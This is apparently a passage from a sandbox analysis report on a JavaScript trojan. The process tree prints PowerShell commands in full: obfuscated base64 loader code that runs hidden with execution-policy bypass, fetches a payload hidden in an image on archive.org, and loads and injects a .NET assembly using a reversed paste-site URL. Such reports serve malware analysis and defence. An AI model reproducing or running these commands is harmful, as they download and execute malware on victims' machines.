㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹e↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹s↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bi↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cwBl↦ ☰ ䷸ ㈽ ⺹DY↦ ☰ ䷸ ㈽ ⺹N↦ ☰ ䷸ ㈽ ⺹BM↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹bgBn↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹a↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹p↦ ☰ ䷸ ㈽ ⺹Ds↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bj↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹bQBt↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹EI↦ ☰ ䷸ ㈽ ⺹eQB0↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹cw↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹D0↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹Bb↦ ☰ ䷸ ㈽ ⺹FM↦ ☰ ䷸ ㈽ ⺹eQBz↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹ZQBt↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹QwBv↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹dgBl↦ ☰ ䷸ ㈽ ⺹HI↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bd↦ ☰ ䷸ ㈽ ⺹Do↦ ☰ ䷸ ㈽ ⺹OgBG↦ ☰ ䷸ ㈽ ⺹HI↦ ☰ ䷸ ㈽ ⺹bwBt↦ ☰ ䷸ ㈽ ⺹EI↦ ☰ ䷸ ㈽ ⺹YQBz↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹Ng↦ ☰ ䷸ ㈽ ⺹0↦ ☰ ䷸ ㈽ ⺹FM↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹By↦ ☰ ䷸ ㈽ ⺹Gk↦ ☰ ䷸ ㈽ ⺹bgBn↦ ☰ ䷸ ㈽ ⺹Cg↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bi↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cwBl↦ ☰ ䷸ ㈽ ⺹DY↦ ☰ ䷸ ㈽ ⺹N↦ ☰ ䷸ ㈽ ⺹BD↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹bQBt↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹Ck↦ ☰ ䷸ ㈽ ⺹Ow↦ ☰ ䷸ ㈽ ⺹k↦ ☰ ䷸ ㈽ ⺹Gw↦ ☰ ䷸ ㈽ ⺹bwBh↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQBk↦ ☰ ䷸ ㈽ ⺹EE↦ ☰ ䷸ ㈽ ⺹cwBz↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹bQBi↦ ☰ ䷸ ㈽ ⺹Gw↦ ☰ ䷸ ㈽ ⺹eQ↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹D0↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹Bb↦ ☰ ䷸ ㈽ ⺹FM↦ ☰ ䷸ ㈽ ⺹eQBz↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹ZQBt↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹UgBl↦ ☰ ䷸ ㈽ ⺹GY↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹GM↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹bg↦ ☰ ䷸ ㈽ ⺹u↦ ☰ ䷸ ㈽ ⺹EE↦ ☰ ䷸ ㈽ ⺹cwBz↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹bQBi↦ ☰ ䷸ ㈽ ⺹Gw↦ ☰ ䷸ ㈽ ⺹eQBd↦ ☰ ䷸ ㈽ ⺹Do↦ ☰ ䷸ ㈽ ⺹OgBM↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹YQBk↦ ☰ ䷸ ㈽ ⺹Cg↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bj↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹bQBt↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹EI↦ ☰ ䷸ ㈽ ⺹eQB0↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹cw↦ ☰ ䷸ ㈽ ⺹p↦ ☰ ䷸ ㈽ ⺹Ds↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹B0↦ ☰ ䷸ ㈽ ⺹Hk↦ ☰ ䷸ ㈽ ⺹c↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹PQ↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹Bv↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹QQBz↦ ☰ ䷸ ㈽ ⺹HM↦ ☰ ䷸ ㈽ ⺹ZQBt↦ ☰ ䷸ ㈽ ⺹GI↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹B5↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹RwBl↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹V↦ ☰ ䷸ ㈽ ⺹B5↦ ☰ ䷸ ㈽ ⺹H↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹ZQ↦ ☰ ䷸ ㈽ ⺹o↦ ☰ ䷸ ㈽ ⺹Cc↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹Bu↦ ☰ ䷸ ㈽ ⺹Gw↦ ☰ ䷸ ㈽ ⺹aQBi↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹SQBP↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹S↦ ☰ ䷸ ㈽ ⺹Bv↦ ☰ ䷸ ㈽ ⺹G0↦ ☰ ䷸ ㈽ ⺹ZQ↦ ☰ ䷸ ㈽ ⺹n↦ ☰ ䷸ ㈽ ⺹Ck↦ ☰ ䷸ ㈽ ⺹Ow↦ ☰ ䷸ ㈽ ⺹k↦ ☰ ䷸ ㈽ ⺹G0↦ ☰ ䷸ ㈽ ⺹ZQB0↦ ☰ ䷸ ㈽ ⺹Gg↦ ☰ ䷸ ㈽ ⺹bwBk↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹PQ↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹B5↦ ☰ ䷸ ㈽ ⺹H↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹ZQ↦ ☰ ䷸ ㈽ ⺹u↦ ☰ ䷸ ㈽ ⺹Ec↦ ☰ ䷸ ㈽ ⺹ZQB0↦ ☰ ䷸ ㈽ ⺹E0↦ ☰ ䷸ ㈽ ⺹ZQB0↦ ☰ ䷸ ㈽ ⺹Gg↦ ☰ ䷸ ㈽ ⺹bwBk↦ ☰ ䷸ ㈽ ⺹Cg↦ ☰ ䷸ ㈽ ⺹JwBW↦ ☰ ䷸ ㈽ ⺹EE↦ ☰ ䷸ ㈽ ⺹SQ↦ ☰ ䷸ ㈽ ⺹n↦ ☰ ䷸ ㈽ ⺹Ck↦ ☰ ䷸ ㈽ ⺹LgBJ↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹dgBv↦ ☰ ䷸ ㈽ ⺹Gs↦ ☰ ䷸ ㈽ ⺹ZQ↦ ☰ ䷸ ㈽ ⺹o↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹bgB1↦ ☰ ䷸ ㈽ ⺹Gw↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹s↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹WwBv↦ ☰ ䷸ ㈽ ⺹GI↦ ☰ ䷸ ㈽ ⺹agBl↦ ☰ ䷸ ㈽ ⺹GM↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bb↦ ☰ ䷸ ㈽ ⺹F0↦ ☰ ䷸ ㈽ ⺹XQ↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹Cg↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹w↦ ☰ ䷸ ㈽ ⺹C8↦ ☰ ䷸ ㈽ ⺹eQBz↦ ☰ ䷸ ㈽ ⺹H↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹bgBV↦ ☰ ䷸ ㈽ ⺹C8↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹v↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹ZQ↦ ☰ ䷸ ㈽ ⺹u↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bz↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹c↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹v↦ ☰ ䷸ ㈽ ⺹C8↦ ☰ ䷸ ㈽ ⺹OgBz↦ ☰ ䷸ ㈽ ⺹H↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹B0↦ ☰ ䷸ ㈽ ⺹Gg↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹Cw↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹n↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQBz↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹HY↦ ☰ ䷸ ㈽ ⺹YQBk↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹Cw↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹n↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQBz↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹HY↦ ☰ ䷸ ㈽ ⺹YQBk↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹Cw↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹n↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQBz↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹HY↦ ☰ ䷸ ㈽ ⺹YQBk↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹s↦ ☰ ䷸ ㈽ ⺹Cc↦ ☰ ䷸ ㈽ ⺹QQBk↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹SQBu↦ ☰ ䷸ ㈽ ⺹F↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹cgBv↦ ☰ ䷸ ㈽ ⺹GM↦ ☰ ䷸ ㈽ ⺹ZQBz↦ ☰ ䷸ ㈽ ⺹HM↦ ☰ ䷸ ㈽ ⺹Mw↦ ☰ ䷸ ㈽ ⺹y↦ ☰ ䷸ ㈽ ⺹Cc↦ ☰ ䷸ ㈽ ⺹L↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹n↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQBz↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹HY↦ ☰ ䷸ ㈽ ⺹YQBk↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹p↦ ☰ ䷸ ㈽ ⺹Ck↦ ☰ ䷸ ㈽ ⺹';$OWjuxD = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64String($Codigo.replace('↦ ☰ ䷸ ㈽ ⺹','A') ) );powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
                3⤵
                • Command and Scripting Interpreter: PowerShell
                PID:4760
            • C:\Windows\System32\WScript.exe
              "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zO4F0A1463\trojan.js"
              2⤵
                PID:6200
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'J↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹G0↦ ☰ ䷸ ㈽ ⺹YQBn↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹VQBy↦ ☰ ䷸ ㈽ ⺹Gw↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹9↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹JwBo↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bw↦ ☰ ䷸ ㈽ ⺹HM↦ ☰ ䷸ ㈽ ⺹Og↦ ☰ ䷸ ㈽ ⺹v↦ ☰ ䷸ ㈽ ⺹C8↦ ☰ ䷸ ㈽ ⺹aQBh↦ ☰ ䷸ ㈽ ⺹DY↦ ☰ ䷸ ㈽ ⺹M↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹x↦ ☰ ䷸ ㈽ ⺹DY↦ ☰ ䷸ ㈽ ⺹M↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹2↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹dQBz↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹YQBy↦ ☰ ䷸ ㈽ ⺹GM↦ ☰ ䷸ ㈽ ⺹a↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹HY↦ ☰ ䷸ ㈽ ⺹ZQ↦ ☰ ䷸ ㈽ ⺹u↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹cgBn↦ ☰ ䷸ ㈽ ⺹C8↦ ☰ ䷸ ㈽ ⺹MQ↦ ☰ ䷸ ㈽ ⺹w↦ ☰ ䷸ ㈽ ⺹C8↦ ☰ ䷸ ㈽ ⺹aQB0↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹bQBz↦ ☰ ䷸ ㈽ ⺹C8↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bo↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹bwB0↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹Xw↦ ☰ ䷸ ㈽ ⺹y↦ ☰ ䷸ ㈽ ⺹D↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹Mg↦ ☰ ䷸ ㈽ ⺹0↦ ☰ ䷸ ㈽ ⺹D↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹Nw↦ ☰ ䷸ ㈽ ⺹v↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQBh↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹a↦ ☰ ䷸ ㈽ ⺹Bu↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹agBw↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹7↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹dwBl↦ ☰ ䷸ ㈽ ⺹GI↦ ☰ ䷸ ㈽ ⺹QwBs↦ ☰ ䷸ ㈽ ⺹Gk↦ ☰ ䷸ ㈽ ⺹ZQBu↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹9↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹TgBl↦ ☰ ䷸ ㈽ ⺹Hc↦ ☰ ䷸ ㈽ ⺹LQBP↦ ☰ ䷸ ㈽ ⺹GI↦ ☰ ䷸ ㈽ ⺹agBl↦ ☰ ䷸ ㈽ ⺹GM↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹FM↦ ☰ ䷸ ㈽ ⺹eQBz↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹ZQBt↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹TgBl↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹LgBX↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹YgBD↦ ☰ ䷸ ㈽ ⺹Gw↦ ☰ ䷸ ㈽ ⺹aQBl↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹7↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹aQBt↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹ZwBl↦ ☰ ䷸ ㈽ ⺹EI↦ ☰ ䷸ ㈽ ⺹eQB0↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹cw↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹D0↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹k↦ ☰ ䷸ ㈽ ⺹Hc↦ ☰ ䷸ ㈽ ⺹ZQBi↦ ☰ ䷸ ㈽ ⺹EM↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹bgB0↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹R↦ ☰ ䷸ ㈽ ⺹Bv↦ ☰ ䷸ ㈽ ⺹Hc↦ ☰ ䷸ ㈽ ⺹bgBs↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹YQBk↦ ☰ ䷸ ㈽ ⺹EQ↦ ☰ ䷸ ㈽ ⺹YQB0↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹K↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹k↦ ☰ ䷸ ㈽ ⺹Gk↦ ☰ ䷸ ㈽ ⺹bQBh↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹ZQBV↦ ☰ ䷸ ㈽ ⺹HI↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹p↦ ☰ ䷸ ㈽ ⺹Ds↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹G0↦ ☰ ䷸ ㈽ ⺹YQBn↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹V↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹Hg↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹D0↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹Bb↦ ☰ ䷸ ㈽ ⺹FM↦ ☰ ䷸ ㈽ ⺹eQBz↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹ZQBt↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹V↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹Hg↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹u↦ ☰ ䷸ ㈽ ⺹EU↦ ☰ ䷸ ㈽ ⺹bgBj↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹ZwBd↦ ☰ ䷸ ㈽ ⺹Do↦ ☰ ䷸ ㈽ ⺹OgBV↦ ☰ ䷸ ㈽ ⺹FQ↦ ☰ ䷸ ㈽ ⺹Rg↦ ☰ ䷸ ㈽ ⺹4↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹RwBl↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹UwB0↦ ☰ ䷸ ㈽ ⺹HI↦ ☰ ䷸ ㈽ ⺹aQBu↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹K↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹k↦ ☰ ䷸ ㈽ ⺹Gk↦ ☰ ䷸ ㈽ ⺹bQBh↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹ZQBC↦ ☰ ䷸ ㈽ ⺹Hk↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹HM↦ ☰ ䷸ ㈽ ⺹KQ↦ ☰ ䷸ ㈽ ⺹7↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹cwB0↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cgB0↦ ☰ ䷸ ㈽ ⺹EY↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹Bh↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹9↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹8↦ ☰ ䷸ ㈽ ⺹Dw↦ ☰ ䷸ ㈽ ⺹QgBB↦ ☰ ䷸ ㈽ ⺹FM↦ ☰ ䷸ ㈽ ⺹RQ↦ ☰ ䷸ ㈽ ⺹2↦ ☰ ䷸ ㈽ ⺹DQ↦ ☰ ䷸ ㈽ ⺹XwBT↦ ☰ ䷸ ㈽ ⺹FQ↦ ☰ ䷸ ㈽ ⺹QQBS↦ ☰ ䷸ ㈽ ⺹FQ↦ ☰ ䷸ ㈽ ⺹Pg↦ ☰ ䷸ ㈽ ⺹+↦ ☰ ䷸ ㈽ ⺹Cc↦ ☰ ䷸ ㈽ ⺹Ow↦ ☰ ䷸ ㈽ ⺹k↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹EY↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹Bh↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹9↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹8↦ ☰ ䷸ ㈽ ⺹Dw↦ ☰ ䷸ ㈽ ⺹QgBB↦ ☰ ䷸ ㈽ ⺹FM↦ ☰ ䷸ ㈽ ⺹RQ↦ ☰ ䷸ ㈽ ⺹2↦ ☰ ䷸ ㈽ ⺹DQ↦ ☰ ䷸ ㈽ ⺹XwBF↦ ☰ ䷸ ㈽ ⺹E4↦ ☰ ䷸ ㈽ ⺹R↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹+↦ ☰ ䷸ ㈽ ⺹D4↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹7↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹cwB0↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cgB0↦ ☰ ䷸ ㈽ ⺹Ek↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹e↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹D0↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹k↦ ☰ ䷸ ㈽ ⺹Gk↦ ☰ ䷸ ㈽ ⺹bQBh↦ ☰ ䷸ ㈽ ⺹Gc↦ ☰ ䷸ ㈽ ⺹ZQBU↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹e↦ ☰ ䷸ ㈽ ⺹B0↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹SQBu↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQB4↦ ☰ ䷸ ㈽ ⺹E8↦ ☰ ䷸ ㈽ ⺹Zg↦ ☰ ䷸ ㈽ ⺹o↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹cwB0↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cgB0↦ ☰ ䷸ ㈽ 